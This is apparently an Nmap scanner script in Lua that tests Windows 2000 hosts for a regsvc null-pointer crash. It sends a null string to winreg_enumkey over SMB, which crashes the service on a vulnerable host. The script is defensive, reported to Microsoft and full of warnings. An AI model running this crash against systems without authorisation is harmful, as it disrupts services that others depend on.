local msrpc = require "msrpc" local nmap = require "nmap" local smb = require "smb" local stdnse = require "stdnse" local string = require "string" local table = require "table" local vulns = require "vulns" description = [[ Checks for vulnerabilities: * Unnamed regsvc DoS, a denial-of-service vulnerability I accidentally found in Windows 2000 WARNING: These checks are dangerous, and are very likely to bring down a server. These should not be run in a production environment unless you (and, more importantly, the business) understand the risks! As a system administrator, performing these kinds of checks is crucial, because a lot more damage can be done by a worm or a hacker using this vulnerability than by a scanner. Penetration testers, on the other hand, might not want to use this script -- crashing services is not generally a good way of sneaking through a network. If you set the script parameter unsafe, then scripts will run that are almost (or totally) guaranteed to crash a vulnerable system; do NOT specify unsafe in a production environment! And that isn't to say that non-unsafe scripts will not crash a system, they're just less likely to. If you set the script parameter safe, then script will run that rarely or never crash a vulnerable system. No promises, though. regsvc DoS. Checks if a host is vulnerable to a crash in regsvc, caused by a null pointer dereference. I inadvertently discovered this crash while working on smb-enum-sessions, and discovered that it was repeatable. It's been reported to Microsoft (case #MSRC8742). This check WILL crash the service, if it's vulnerable, and requires a guest account or higher to work. It is considered unsafe. ]] --- --@usage -- nmap --script smb-vuln-regsvc-dos.nse -p445 -- sudo nmap -sU -sS --script smb-vuln-regsvc-dos.nse -p U:137,T:139 -- --@output -- Host script results: -- | smb-check-vulns: -- |_ regsvc DoS: regsvc DoS: NOT VULNERABLE -- -- @args unsafe If set, this script will run checks that, if the system isn't -- patched, are basically guaranteed to crash something. Remember that -- non-unsafe checks aren't necessarily safe either) -- @args safe If set, this script will only run checks that are known (or at -- least suspected) to be safe. ----------------------------------------------------------------------- author = "Ron Bowes" copyright = "Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive","exploit","dos","vuln"} -- run after all smb-* scripts (so if it DOES crash something, it doesn't kill -- other scans have had a chance to run) dependencies = { "smb-brute", "smb-enum-sessions", "smb-security-mode", "smb-enum-shares", "smb-server-stats", "smb-enum-domains", "smb-enum-users", "smb-system-info", "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", "smb-psexec", }; hostrule = function(host) return smb.get_port(host) ~= nil end local VULNERABLE = 1 local PATCHED = 2 local UNKNOWN = 3 local NOTRUN = 4 local INFECTED = 5 local INFECTED2 = 6 local CLEAN = 7 local NOTUP = 8 ---While writing smb-enum-sessions I discovered a repeatable null-pointer dereference -- in regsvc. I reported it to Microsoft, but because it's a simple DoS (and barely even that, because -- the service automatically restarts), and because it's only in Windows 2000, it isn't likely that they'll -- fix it. This function checks for that crash (by crashing the process). -- -- The crash occurs when the string sent to winreg_enumkey() function is null. -- --@param host The host object. --@return (status, result) If status is false, result is an error code; otherwise, result is either -- VULNERABLE for vulnerable or PATCHED for not vulnerable. If the check -- was skipped, NOTRUN is returned. function check_winreg_Enum_crash(host) --check for safety flag if(nmap.registry.args.safe ~= nil) then return true, NOTRUN end if(nmap.registry.args.unsafe == nil) then return true, NOTRUN end local i, j local elements = {} local status, bind_result, smbstate -- Create the SMB session status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH) if(status == false) then return false, smbstate end -- Bind to WINREG service status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil) if(status == false) then msrpc.stop_smb(smbstate) return false, bind_result end local openhku_result status, openhku_result = msrpc.winreg_openhku(smbstate) if(status == false) then msrpc.stop_smb(smbstate) return false, openhku_result end -- Loop through the keys under HKEY_USERS and grab the names local enumkey_result status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil) msrpc.stop_smb(smbstate) if(status == false) then return true, VULNERABLE end return true, PATCHED end action = function(host) local status, result, message local response = {} local vuln_report = vulns.Report:new(SCRIPT_NAME, host) local vuln_table = { title = 'Unnamed regsvc DoS', state = vulns.STATE.NOT_VULN, description = [[ A host may be vulnerable to a crash in regsvc, caused by a null pointer dereference. ]] } -- Check for a winreg_Enum crash status, result = check_winreg_Enum_crash(host) if(status == false) then --table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1)) vuln_table.state = vulns.STATE.NOT_VULN else if(result == VULNERABLE) then --table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0)) vuln_table.state = vulns.STATE.VULN elseif(result == NOTRUN) then vuln_table.state = vulns.STATE.LIKELY_VULN vuln_table.check_results = "CHECK DISABLED. Add '--script-args=unsafe=1' to run" else --table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1)) vuln_table.state = vulns.STATE.NOT_VULN end end return vuln_report:make_output(vuln_table) end